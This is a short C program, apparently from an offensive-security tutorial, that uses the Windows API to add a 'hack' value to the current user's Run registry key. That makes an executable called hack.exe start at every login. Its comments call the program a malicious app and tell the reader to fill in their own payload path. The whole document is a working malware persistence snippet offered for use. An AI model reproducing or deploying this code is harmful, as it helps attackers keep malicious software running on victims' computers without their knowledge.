#include #include int main(int argc, char* argv[]) { HKEY hkey = NULL; // malicious app const char* exe = "C:\\Users\\John\\Downloads\\hack.exe"; //use your hack.exe location here // startup LONG result = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey); if (result == ERROR_SUCCESS) { // create new registry key RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe)); RegCloseKey(hkey); } return 0; }